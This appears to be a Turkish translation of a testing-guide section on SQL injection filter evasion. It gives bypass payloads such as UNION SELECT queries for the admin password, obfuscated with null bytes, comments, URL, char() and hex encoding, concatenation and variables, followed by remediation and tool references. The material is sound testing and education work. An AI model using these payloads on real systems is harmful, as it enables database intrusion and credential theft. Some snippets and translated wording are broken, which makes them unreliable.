Null Bytes (Null Bytes'in)

Filtrenin engellediği herhangi bir karakterden önce null byte (%00) kullanın. Örneğin, saldırgan aşağıdaki SQL'i enjekte edebilirse

```
' UNION SELECT password FROM Users WHERE username='admin'--
```

Null Bytes eklemek için

```
%00' UNION SELECT password FROM Users WHERE username='admin'--
```

SQL Comments (SQL Yorumları)

SQL inline yorumları eklemek, SQL ifadesinin geçerli olmasına ve SQL enjeksiyon filtresini atlamasına da yardımcı olabilir. Bu SQL enjeksiyonunu örnek olarak alın.

```
' UNION SELECT password FROM Users WHERE name='admin'--
```

SQL inline yorumları eklemek olacaktır.

```
'/**/UNION/**/SELECT/**/password/**/FROM/**/Users/**/WHERE/**/name/**/LIKE/**/'admin'--
```

```
'/**/UNI/**/ON/**/SE/**/LECT/**/password/**/FROM/**/Users/**/WHE/**/RE/**/name/**/LIKE/**/'admin'--
```

URL Encoding (URL Kodlama)

SQL ifadesini kodlamak için çevrimiçi URL kodlamasını kullanın

```
' UNION SELECT password FROM Users WHERE name='admin'--
```

SQL enjeksiyon ifadesinin URL kodlaması olacak

```
%27%20UNION%20SELECT%20password%20FROM%20Users%20WHERE%20name%3D%27admin%27--
```

Character Encoding (Karakter Kodlama)

Char() fonksiyonu İngilizce char'ın yerini almak için kullanılabilir. Örneğin, char (114,111.111.1116) kök anlamına gelir.

```
' UNION SELECT password FROM Users WHERE name='root'--
```

Char() uygulamak için SQL injeciton ifadesi olacaktır

```
' UNION SELECT password FROM Users WHERE name=char(114,111,111,116)--
```

String Concatenation (Dize Birleştirme)

Bulaşıcı SQL anahtar kelimelerini parçalar ve filtrelerden kaçar. Bulaşıcı sözdizimi veritabanı motoruna göre değişir. Örnek olarak MS SQL motorunu alın

```
select 1
```

Basit SQL ifadesi, bulkarlık kullanılarak aşağıdaki şekilde değiştirilebilir

```
EXEC('SEL' + 'ECT 1')
```

Hex Encoding (Hex Kodlama)

Hex kodlama tekniği, orijinal SQL eki char'ın yerini almak için Hexadecimal kodlama kullanır. Örneğin, `root` Temsil edilebilir `726F6F74`

```
Select user from users where name = 'root'
```

HEX değerini kullanarak SQL ifadesi şunlar olacaktır:

```
Select user from users where name = 726F6F74
```

ya da

```
Select user from users where name = unhex('726F6F74')
```

Declare Variables (Değişkenleri İlan Edin)

SQL enjeksiyon ifadesini değişken olarak ilan edin ve uygulayın.

Örneğin, aşağıdaki SQL enjeksiyon ifadesi

```
Union Select password
```

SQL ifadesini değişken olarak tanımlayın `SQLivar`

```
; declare @SQLivar nvarchar(80); set @myvar = N'UNI' + N'ON' + N' SELECT' + N'password');
EXEC(@SQLivar)
```

(Alternatif İfade: 1 veya 1 = 1)

```
 OR 'SQLi' = 'SQL'+'i'
OR 'SQLi' &gt; 'S'
or 20 &gt; 1
OR 2 between 3 and 1
OR 'SQLi' = N'SQLi'
1 and 1 = 1
```

```
1 || 1 = 1
1 && 1 = 1
```

Remediation (Düzeltme)

- Uygulamayı SQL enjeksiyon güvenlik açıklarından güvence altına almak için SQL Enjeksiyon Önleme Hile Sayfası'na bakın.
- SQL sunucusunu güvence altına almak için Veritabanı Güvenlik Hile Sayfasına bakın.

Genel girdi doğrulama güvenliği için, Giriş Doğrulama Hile Sayfasına bakın.

Tools (Araçlar)

- SQL Injection Fuzz Strings (from wfuzz tool) - Fuzzdb
- sqlbftools
- Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
- Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool

References (Referanslar)

- Top 10 2017-A1-Injection
- SQL Injection Technology specific Testing Guide pages have been created for the following DBMSs:
- Oracle
- MySQL
- SQL Server
- PostgreSQL
- MS Access
- NoSQL
- ORM
- Client-side

Whitepapers (BeyazKağıtlar)

- Victor Chapela: “Advanced SQL Injection”
- Chris Anley: “More Advanced SQL Injection”
- David Litchfield: “Data-mining with SQL Injection and Inference”
- Imperva: “Blinded SQL Injection”
- Ferruh Mavituna: “SQL Injection Cheat Sheet”
- Kevin Spett from SPI Dynamics: “SQL Injection”
- Kevin Spett from SPI Dynamics: “Blind SQL Injection”
- “ZeQ3uL” (Prathan Phongthiproek) and “Suphot Boonchamnan”: “Beyond SQLi: Obfuscate and Bypass”
- Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: “The Latest SQL Injection Trends”

Documentation on SQL Injection Vulnerabilities in Products (Ürünlerde SQL Enjeksiyonu Zafiyetlerine İlişkin Dokümantasyon)

- Anatomy of the SQL injection in Drupal’s database comment filtering system SA-CORE-2015-003